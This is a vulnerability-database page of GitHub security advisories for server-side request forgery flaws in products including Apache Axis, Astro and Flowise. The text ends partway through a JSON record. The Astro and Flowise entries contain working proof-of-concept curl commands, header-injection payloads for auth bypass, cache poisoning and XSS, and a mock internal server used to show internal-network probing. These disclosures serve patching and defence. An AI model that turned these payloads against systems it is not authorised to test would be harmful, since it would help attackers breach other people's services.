Common Weakness Enumeration

CWE-918

Allowed

Server-Side Request Forgery (SSRF)

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination.

4738 vulnerabilities reference this CWE, most recent first.

GHSA-HQPJ-XX46-MWVH

Vulnerability from github – Published: 2024-09-17 21:30 – Updated: 2024-09-17 21:30
VLAI
Details

An improper access control vulnerability in GroupMe allows an a unauthenticated attacker to elevate privileges over a network by convincing a user to click on a malicious link.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-38183"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-17T19:15:25Z",
    "severity": "HIGH"
  },
  "details": "An improper access control vulnerability in GroupMe allows an a unauthenticated attacker to elevate privileges over a network by convincing a user to click on a malicious link.",
  "id": "GHSA-hqpj-xx46-mwvh",
  "modified": "2024-09-17T21:30:32Z",
  "published": "2024-09-17T21:30:32Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-38183"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38183"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HQRH-5FFW-2JFP

Vulnerability from github – Published: 2022-02-19 00:01 – Updated: 2022-02-27 00:00
VLAI
Details

This vulnerability could allow an attacker to force the server to create and execute a web request granting access to backend APIs that are only accessible to the Mimosa MMP server, or request pages that could perform some actions themselves. The attacker could force the server into accessing routes on those cloud-hosting platforms, accessing secret keys, changing configurations, etc. Affecting MMP: All versions prior to v1.0.3, PTP C-series: Device versions prior to v2.8.6.1, and PTMP C-series and A5x: Device versions prior to v2.5.4.1.

Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-21215"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-18T18:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "This vulnerability could allow an attacker to force the server to create and execute a web request granting access to backend APIs that are only accessible to the Mimosa MMP server, or request pages that could perform some actions themselves. The attacker could force the server into accessing routes on those cloud-hosting platforms, accessing secret keys, changing configurations, etc. Affecting MMP: All versions prior to v1.0.3, PTP C-series: Device versions prior to v2.8.6.1, and PTMP C-series and A5x: Device versions prior to v2.5.4.1.",
  "id": "GHSA-hqrh-5ffw-2jfp",
  "modified": "2022-02-27T00:00:25Z",
  "published": "2022-02-19T00:01:27Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-21215"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/uscert/ics/advisories/icsa-22-034-02"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-HR2C-P8RH-238H

Vulnerability from github – Published: 2024-01-06 12:30 – Updated: 2024-03-14 21:57
VLAI
Summary
Apache Axis Improper Input Validation vulnerability
Details

** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Axis allowed users with access to the admin service to perform possible SSRF. This issue affects Apache Axis through 1.3.

As Axis 1 has been EOL, we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. The Apache Axis project does not expect to create an Axis 1.x release fixing this problem, though contributors that would like to work towards this are welcome.

Severity
7.2 (High)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.apache.axis:axis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "Maven",
        "name": "axis:axis"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2023-51441"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2024-01-08T15:49:03Z",
    "nvd_published_at": "2024-01-06T12:15:42Z",
    "severity": "HIGH"
  },
  "details": "** UNSUPPORTED WHEN ASSIGNED ** Improper Input Validation vulnerability in Apache Axis allowed users with access to the admin service to perform possible SSRF.\nThis issue affects Apache Axis through 1.3.\n\nAs Axis 1 has been EOL, we recommend you migrate to a different SOAP engine, such as Apache Axis 2/Java. Alternatively you could use a build of Axis with the patch from https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06 applied. The Apache Axis project does not expect to create an Axis 1.x release \nfixing this problem, though contributors that would like to work towards this are welcome.",
  "id": "GHSA-hr2c-p8rh-238h",
  "modified": "2024-03-14T21:57:50Z",
  "published": "2024-01-06T12:30:34Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-51441"
    },
    {
      "type": "WEB",
      "url": "https://github.com/apache/axis-axis1-java/commit/685c309febc64aa393b2d64a05f90e7eb9f73e06"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/apache/axis-axis1-java"
    },
    {
      "type": "WEB",
      "url": "https://lists.apache.org/thread/8nrm5thop8f82pglx4o0jg8wmvy6d9yd"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Apache Axis Improper Input Validation vulnerability"
}

GHSA-HR2Q-HP5Q-X767

Vulnerability from github – Published: 2025-11-13 22:46 – Updated: 2025-11-13 22:46
VLAI
Summary
Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass
Details

Summary

In impacted versions of Astro using on-demand rendering, request headers x-forwarded-proto and x-forwarded-port are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:

  • Middleware-based protected route bypass (only via x-forwarded-proto)
  • DoS via cache poisoning (if a CDN is present)
  • SSRF (only via x-forwarded-proto)
  • URL pollution (potential SXSS, if a CDN is present)
  • WAF bypass

Details

The x-forwarded-proto and x-forwarded-port headers are used without sanitization in two parts of the Astro server code. The most important is in the createRequest() function. Any configuration, including the default one, is affected:

https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97 https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121

These header values are then used directly to construct URLs.

By injecting a payload at the protocol level during URL creation (via the x-forwarded-proto header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn't affect (re)routing.

If the following header value is injected when requesting the path /ssr:

x-forwarded-proto: https://www.malicious-url.com/?tank=

The complete URL that will be created is: https://www.malicious-url.com/?tank=://localhost/ssr

As a reminder, URLs are created like this:

url = new URL(`${protocol}://${hostnamePort}${req.url}`);

The value is injected at the beginning of the string (${protocol}), and ends with a query ?tank= whose value is the rest of the string, ://${hostnamePort}${req.url}.

This way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.

The same logic applies to x-forwarded-port, with a few differences.

[!NOTE] The createRequest function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.

PoC

The PoC will be tested with a minimal repository:

  • Latest Astro version at the time (2.16.0)
  • The Node adapter
  • Two simple pages, one SSR (/ssr), the other simulating an admin page (/admin) protected by a middleware
  • A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path

Download the PoC repository

Middleware-based protected route bypass - x-forwarded-proto only

The middleware has been configured to protect the /admin route based on the official documentation:

// src/middleware.ts
import { defineMiddleware } from "astro/middleware";

export const onRequest = defineMiddleware(async (context, next) => {
  const isAuthed = false; // auth logic
  if (context.url.pathname === "/admin" && !isAuthed) {
    return context.redirect("/");
  }
  return next();
});

  1. When tryint to access /admin the attacker is naturally redirected : sh curl -i http://localhost:4321/admin image

  2. The attackr can bypass the middleware path check using a malicious header value: sh curl -i -H "x-forwarded-proto: x:admin?" http://localhost:4321/admin image

How ​​is this possible?

Here, with the payload x:admin?, the attacker can use the URL API parser to their advantage:

  • x: is considered the protocol
  • Since there is no //, the parser considers there to be no authority, and everything before the ? character is therefore considered part of the path: admin

During a path-based middleware check, the path value begins with a /: context.url.pathname === "/admin". However, this is not the case with this payload; context.url.pathname === "admin", the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.

SSRF

As seen, the request URL is built from untrusted input via the x-forwarded-protocol header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).

Example of code reusing the "origin" URL, concatenating it to the API endpoint :

image

DoS via cache poisoning

If a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.

A 404 cab be forced, causing an error on the /ssr page like this : curl -i -H "x-forwarded-proto: https://localhost/vulnerable?" http://localhost:4321/ssr image

Same logic applies to x-forwarded-port : curl -i -H "x-forwarded-port: /vulnerable?" http://localhost:4321/ssr

How ​​is this possible?

The router sees the request for the path /vulnerable, which does not exist, and therefore returns a 404, while the potential CDN sees /ssr and can then cache the 404 response, consequently serving it to all users requesting the path /ssr.

URL pollution

The exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.

If the value of request.url is used to create links within the page, this can lead to Stored XSS with x-forwarded-proto and the following value:

x-forwarded-proto: javascript:alert(document.cookie)//

results in the following URL object:

image

It is also possible to inject any link, always, if the value of request.url is used on the server side to create links.

x-forwarded-proto: https://www.malicious-site.com/bad?

The attacker is more limited with x-forwarded-port

If the value of request.url is used to create links within the page, this can lead to broken links, with the header and the following value:

X-Forwarded-Port: /nope?

Example of an Astro website: Capture d’écran 2025-11-03 à 22 07 14

WAF bypass

For this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section "Exploitation - WAF bypass and escalations". This research deals with a similar case, the difference being that the vulnerable header was x-forwarded-host in their case:

https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path

Note: A section addressing DoS attacks via cache poisoning using the same vector was also included there.

CVE-2025-61925 complete bypass

It is possible to completely bypass the vulnerability patch related to the X-Forwarded-Host header.

By sending x-forwarded-host with an empty value, the forwardedHostname variable is assigned an empty string. Then, during the subsequent check, the condition fails because forwardedHostname returns false, its value being an empty string:

if (forwardedHostname && !App.validateForwardedHost(...))

Consequently, the implemented check is bypassed. From this point on, since the request has no host (its value being an empty string), the path value is retrieved by the URL parser to set it as the host. This is because the http/https schemes are considered special schemes by the WHATWG URL Standard Specification, requiring an authority state.

From there, the following request on the example SSR application (astro repo) yields an SSRF: Capture d’écran 2025-11-06 à 21 18 26 empty x-forwarded-host + the target host in the path

Credits

  • Allam Rachid (zhero;)
  • Allam Yasser (inzo)
Severity
6.5 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "astro"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.16.0"
            },
            {
              "fixed": "5.15.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2025-64525"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-11-13T22:46:24Z",
    "nvd_published_at": "2025-11-13T16:15:56Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nIn impacted versions of Astro using [on-demand rendering](https://docs.astro.build/en/guides/on-demand-rendering/), request headers `x-forwarded-proto` and `x-forwarded-port` are insecurely used, without sanitization, to build the URL. This has several consequences the most important of which are:\n\n- Middleware-based protected route bypass (only via `x-forwarded-proto`)\n- DoS via cache poisoning (if a CDN is present)\n- SSRF (only via `x-forwarded-proto`)\n- URL pollution (potential SXSS, if a CDN is present) \n- WAF bypass\n\n## Details\n\nThe `x-forwarded-proto` and `x-forwarded-port` headers are used without sanitization in two parts of the Astro server code. The most important is in the `createRequest()` function. Any configuration, including the default one, is affected: \n\n[https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97)\n[https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121](https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121)\n\nThese header values are then used directly to construct URLs.\n\nBy injecting a payload at the protocol level during URL creation (via the `x-forwarded-proto` header), the entire URL can be rewritten, including the host, port and path, and then pass the rest of the URL, the real hostname and path, as a query so that it doesn\u0027t affect (re)routing.\n\nIf the following header value is injected when requesting the path `/ssr`:\n\n```\nx-forwarded-proto: https://www.malicious-url.com/?tank=\n```\n\nThe complete URL that will be created is: `https://www.malicious-url.com/?tank=://localhost/ssr`\n\nAs a reminder, URLs are created like this:\n\n```\nurl = new URL(`${protocol}://${hostnamePort}${req.url}`);\n```\n\nThe value is injected at the beginning of the string (`${protocol}`), and ends with a query `?tank=` whose value is the rest of the string, `://${hostnamePort}${req.url}`.\n\nThis way there is control over the routing without affecting the path, and the URL can be manipulated arbitrarily. This behavior can be exploited in various ways, as will be seen in the PoC section.\n\nThe same logic applies to `x-forwarded-port`, with a few differences.\n\n\u003e [!NOTE]\n\u003e The `createRequest` function is called every time a non-static page is requested. Therefore, all non-static pages are exploitable for reproducing the attack.\n\n## PoC\n\nThe PoC will be tested with a minimal repository:\n\n- Latest Astro version at the time (`2.16.0`)\n- The Node adapter\n- Two simple pages, one SSR (`/ssr`), the other simulating an admin page (`/admin`) protected by a middleware\n- A middleware example copied and pasted from the official Astro documentation to protect the admin page based on the path\n\n[Download the PoC repository](https://github.com/zhero-web-sec/astro-app)\n\n### Middleware-based protected route bypass - x-forwarded-proto only\n\nThe middleware has been configured to protect the `/admin` route based on [the official documentation](https://docs.astro.build/en/guides/authentication/):\n\n```ts\n// src/middleware.ts\nimport { defineMiddleware } from \"astro/middleware\";\n\nexport const onRequest = defineMiddleware(async (context, next) =\u003e {\n  const isAuthed = false; // auth logic\n  if (context.url.pathname === \"/admin\" \u0026\u0026 !isAuthed) {\n    return context.redirect(\"/\");\n  }\n  return next();\n});\n```\n\n1. When tryint to access `/admin` the attacker is naturally redirected :\n   ```sh\n   curl -i http://localhost:4321/admin\n   ```\n   \u003cimg width=\"620\" height=\"102\" alt=\"image\" src=\"https://github.com/user-attachments/assets/15a7bffc-ee56-4ed9-84b2-091cf4d78351\" /\u003e\n\n2. The attackr can bypass the middleware path check using a malicious header value:\n   ```sh\n   curl -i -H \"x-forwarded-proto: x:admin?\" http://localhost:4321/admin\n   ```\n   \u003cimg width=\"1348\" height=\"159\" alt=\"image\" src=\"https://github.com/user-attachments/assets/d9d9ac1a-5efa-452b-981e-efea8a08d089\" /\u003e\n\n#### How \u200b\u200bis this possible?\n\nHere, with the payload `x:admin?`, the attacker can use the URL API parser to their advantage:\n\n- `x:` is considered the protocol\n- Since there is no `//`, the parser considers there to be no authority, and everything before the `?` character is therefore considered part of the path: `admin`\n\nDuring a path-based middleware check, the *path* value begins with a `/`: `context.url.pathname === \"/admin\"`. However, this is not the case with this payload; `context.url.pathname === \"admin\"`, the absence of a slash satisfies both the middleware check and the router and consequently allows us to bypass the protection and access the page.\n\n### SSRF\n\nAs seen, the request URL is built from untrusted input via the `x-forwarded-protocol` header, if it turns out that this URL is subsequently used to perform external network calls, for an API for example, this allows an attacker to supply a malicious URL that the server will fetch, resulting in server-side request forgery (SSRF).\n\nExample of code reusing the \"origin\" URL, concatenating it to the API endpoint :\n\n\u003cimg width=\"601\" height=\"418\" alt=\"image\" src=\"https://github.com/user-attachments/assets/9c374b2c-841c-48d6-98f1-3b3f5b060802\" /\u003e\n\n### DoS via cache poisoning\n\nIf a CDN is present, it is possible to force the caching of bad pages/resources, or 404 pages on the application routes, rendering the application unusable.\n\nA `404` cab be forced, causing an error on the `/ssr` page like this : `curl -i -H \"x-forwarded-proto: https://localhost/vulnerable?\" http://localhost:4321/ssr`\n\u003cimg width=\"998\" height=\"108\" alt=\"image\" src=\"https://github.com/user-attachments/assets/4bab58e5-3045-4e25-9aa2-2f72a0832d86\" /\u003e\n\nSame logic applies to `x-forwarded-port` : `curl -i -H \"x-forwarded-port: /vulnerable?\" http://localhost:4321/ssr`\n\n#### How \u200b\u200bis this possible?\n\nThe router sees the request for the path `/vulnerable`, which does not exist, and therefore returns a `404`, while the potential CDN sees `/ssr` and can then cache the `404` response, consequently serving it to all users requesting the path `/ssr`.\n\n### URL pollution\n\nThe exploitability of the following is also contingent on the presence of a CDN, and is therefore cache poisoning.\n\nIf the value of `request.url` is used to create links within the page, this can lead to Stored XSS with `x-forwarded-proto` and the following value:\n\n```\nx-forwarded-proto: javascript:alert(document.cookie)//\n```\n\nresults in the following URL object:\n\n\u003cimg width=\"444\" height=\"202\" alt=\"image\" src=\"https://github.com/user-attachments/assets/c2990626-da5b-4868-9093-dbb9b34780ba\" /\u003e\n\nIt is also possible to inject any link, always, if the value of `request.url` is used on the server side to create links.\n\n```\nx-forwarded-proto: https://www.malicious-site.com/bad?\n```\n\n**The attacker is more limited with `x-forwarded-port`**\n\nIf the value of `request.url` is used to create links within the page, this can lead to broken links, with the header and the following value:\n\n```\nX-Forwarded-Port: /nope?\n```\n\nExample of an Astro website: \n\u003cimg width=\"1627\" height=\"298\" alt=\"Capture d\u2019e\u0301cran 2025-11-03 a\u0300 22 07 14\" src=\"https://github.com/user-attachments/assets/02de5e67-f48d-4bf4-810d-6b0714ad2c12\" /\u003e\n\n### WAF bypass\n\nFor this section, Astro invites users to read previous research on the React-Router/Remix framework, in the section \"Exploitation - WAF bypass and escalations\". This research deals with a similar case, the difference being that the vulnerable header was `x-forwarded-host` in their case:\n\n[https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path](https://zhero-web-sec.github.io/research-and-things/react-router-and-the-remixed-path)\n\nNote: A section addressing DoS attacks via cache poisoning using the same vector was also included there.\n\n### CVE-2025-61925 complete bypass\n\nIt is possible to completely bypass the vulnerability patch related to the `X-Forwarded-Host` header.\n\nBy sending `x-forwarded-host` with an empty value, the `forwardedHostname` variable is assigned an empty string. Then, during [the subsequent check](https://github.com/withastro/astro/blob/7a5f28006e9b1f6ad77c7884991ba551ca9ff35b/packages/astro/src/core/app/node.ts#L107), the condition fails because `forwardedHostname ` returns `false`, its value being an empty string:\n\n```\nif (forwardedHostname \u0026\u0026 !App.validateForwardedHost(...))\n\n```\n\nConsequently, the implemented check is bypassed. From this point on, since the request has no `host` (*its value being an empty string*), the path value is retrieved by the URL parser to set it as the `host`. This is because the `http/https` schemes are considered special schemes by the [WHATWG URL Standard Specification](https://url.spec.whatwg.org/#scheme-state), requiring an `authority state`.\n\nFrom there, the following request on the example SSR application (astro repo) yields an SSRF:\n\u003cimg width=\"1878\" height=\"456\" alt=\"Capture d\u2019e\u0301cran 2025-11-06 a\u0300 21 18 26\" src=\"https://github.com/user-attachments/assets/c5cca89c-9c65-46f6-bf70-cd7a90a9e0d9\" /\u003e\n*empty `x-forwarded-host` + the target `host` in the path*\n\n## Credits\n\n- Allam Rachid ([zhero;](https://zhero-web-sec.github.io/research-and-things/))\n- Allam Yasser (inzo)",
  "id": "GHSA-hr2q-hp5q-x767",
  "modified": "2025-11-13T22:46:24Z",
  "published": "2025-11-13T22:46:24Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/security/advisories/GHSA-hr2q-hp5q-x767"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-64525"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/commit/dafbb1ba29912099c4faff1440033edc768af8b4"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/withastro/astro"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L121"
    },
    {
      "type": "WEB",
      "url": "https://github.com/withastro/astro/blob/970ac0f51172e1e6bff4440516a851e725ac3097/packages/astro/src/core/app/node.ts#L97"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Astro vulnerable to URL manipulation via headers, leading to middleware and CVE-2025-61925 bypass"
}

GHSA-HR7M-WRQW-583Q

Vulnerability from github – Published: 2026-02-03 15:30 – Updated: 2026-02-03 18:30
VLAI
Details

Server-Side Request Forgery (SSRF) vulnerability in ThemeGoods Grand Blog grandblog allows Server Side Request Forgery.This issue affects Grand Blog: from n/a through < 3.1.5.

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-24961"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-03T15:16:16Z",
    "severity": "MODERATE"
  },
  "details": "Server-Side Request Forgery (SSRF) vulnerability in ThemeGoods Grand Blog grandblog allows Server Side Request Forgery.This issue affects Grand Blog: from n/a through \u003c 3.1.5.",
  "id": "GHSA-hr7m-wrqw-583q",
  "modified": "2026-02-03T18:30:42Z",
  "published": "2026-02-03T15:30:25Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-24961"
    },
    {
      "type": "WEB",
      "url": "https://patchstack.com/database/Wordpress/Theme/grandblog/vulnerability/wordpress-grand-blog-theme-3-1-5-server-side-request-forgery-ssrf-vulnerability?_s_id=cve"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR86-JC68-FQCR

Vulnerability from github – Published: 2023-06-01 03:30 – Updated: 2024-04-04 04:27
VLAI
Details

Server-side request forgery vulnerability exists in CONPROSYS HMI System (CHS) versions prior to 3.5.3. A user who can access the affected product with an administrative privilege may bypass the database restriction set on the query setting page, and connect to a user unintended database.

Severity
4.9 (Medium)
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2023-28824"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-06-01T02:15:09Z",
    "severity": "MODERATE"
  },
  "details": "Server-side request forgery vulnerability exists in CONPROSYS HMI System (CHS) versions prior to 3.5.3. A user who can access the affected product with an administrative privilege may bypass the database restriction set on the query setting page, and connect to a user unintended database.",
  "id": "GHSA-hr86-jc68-fqcr",
  "modified": "2024-04-04T04:27:28Z",
  "published": "2023-06-01T03:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2023-28824"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/en/vu/JVNVU93372935"
    },
    {
      "type": "WEB",
      "url": "https://www.contec.com/api/downloadlogger?download=/-/media/Contec/jp/support/security-info/contec_security_chs_230531_en.pdf"
    },
    {
      "type": "WEB",
      "url": "https://www.contec.com/jp/api/downloadlogger?download=/-/media/Contec/jp/support/security-info/contec_security_chs_230531_jp.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-HR92-4Q35-4J3M

Vulnerability from github – Published: 2025-09-15 19:53 – Updated: 2025-09-22 21:58
VLAI
Summary
FlowiseAI/Flowise has Server-Side Request Forgery (SSRF) vulnerability
Details

Summary

A Server-Side Request Forgery (SSRF) vulnerability was discovered in the /api/v1/fetch-links endpoint of the Flowise application. This vulnerability allows an attacker to use the Flowise server as a proxy to access internal network web services and explore their link structures. The impact includes the potential exposure of sensitive internal administrative endpoints.

Details

Vulnerability Overview

The fetch-links feature in Flowise is designed to extract links from external websites or XML sitemaps. It performs an HTTP request from the server to the user-supplied URL and parses the response (HTML or XML) to extract and return links.

The issue arises because the feature performs these HTTP requests without validating the user-supplied URL. In particular, when the relativeLinksMethod parameter is set to webCrawl or xmlScrape, the server directly calls the fetch() function with the provided URL, making it vulnerable to SSRF attacks.

Root Cause

The fetch() function is called without URL validation or restriction, which enables attackers to redirect the server to internal services.

Taint Flow

• Taint 01: Route Registration

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/controllers/fetch-links/index.ts#L6-L24

• Taint 02: Service

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/server/src/services/fetch-links/index.ts#L8-L18

• Taint 03: xmlScrape

https://github.com/FlowiseAI/Flowise/blob/5930f1119c655bcf8d2200ae827a1f5b9fec81d0/packages/components/src/utils.ts#L474-L478

PoC

PoC Description

This vulnerability was verified in a local development environment. The Flowise server was running at http://localhost:3000, and authentication was performed using the Bearer token:

tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q

Upon a successful attack, the Flowise server returned the entire link structure of the internal admin panel in JSON format. The response included sensitive administrative URLs such as:

  • /api/users (User Management)
  • /api/secrets (API Keys)
  • /api/database (Database Config)

This demonstrated that an attacker could enumerate internal web service structures.

Internal Admin Server (Mock)

from flask import Flask, render_template_string

app = Flask(__name__)

@app.route('/')
def admin():
    return render_template_string("""
    <html>
    <h1>Internal Admin Panel</h1>
    <ul>
        <li><a href="/api/users">User Management</a></li>
        <li><a href="/api/secrets">API Keys</a></li>
        <li><a href="/api/database">Database Config</a></li>
        <li><a href="/api/logs">System Logs</a></li>
    </ul>
    """)

@app.route('/api/users')
def users():
    return render_template_string("""
    <html>
    <h1>Users</h1>
    <ul>
        <li><a href="/api/users/admin">admin (root)</a></li>
        <li><a href="/api/users/operator">operator</a></li>
    </ul>
    <a href="/">Back</a>
    """)

@app.route('/api/secrets')
def secrets():
    return render_template_string("""
    <html>
    <h1>Secrets</h1>
    <ul>
        <li><a href="/api/secrets/db_key">DB Key: sk-1234567890abcdef</a></li>
        <li><a href="/api/secrets/aws_key">AWS Key: AKIAIOSFODNN7EXAMPLE</a></li>
    </ul>
    <a href="/">Back</a>
    """)

if __name__ == '__main__':
    app.run(host='127.0.0.1', port=8080)

curl Request Example

curl -G 'http://localhost:3000/api/v1/fetch-links' \
     --data-urlencode 'url=http://127.0.0.1:8080/' \
     --data-urlencode 'relativeLinksMethod=webCrawl' \
     --data-urlencode 'limit=10' \
     -H 'Authorization: Bearer tmY1fIjgqZ6-nWUuZ9G7VzDtlsOiSZlDZjFSxZrDd0Q' \
     -s | jq '.'

image

Impact

This is a Server-Side Request Forgery (SSRF) vulnerability.

  • Who is impacted? Any user running Flowise server exposed to external traffic.
  • Risk: Attackers can leverage the Flowise server to:
  • Explore internal web applications
  • Bypass firewall rules
  • Access sensitive administrative interfaces
  • Leak internal configuration, credentials, or secrets

This vulnerability significantly increases the risk of internal service enumeration and potential lateral movement in an enterprise environment.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "flowise"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.5"
            },
            {
              "fixed": "3.0.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ],
      "versions": [
        "3.0.5"
      ]
    }
  ],
  "aliases": [
    "CVE-2025-59527"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2025-09-15T19:53:46Z",
    "nvd_published_at": "2025-09-22T20:15:39Z",
    "severity": "HIGH"
  },
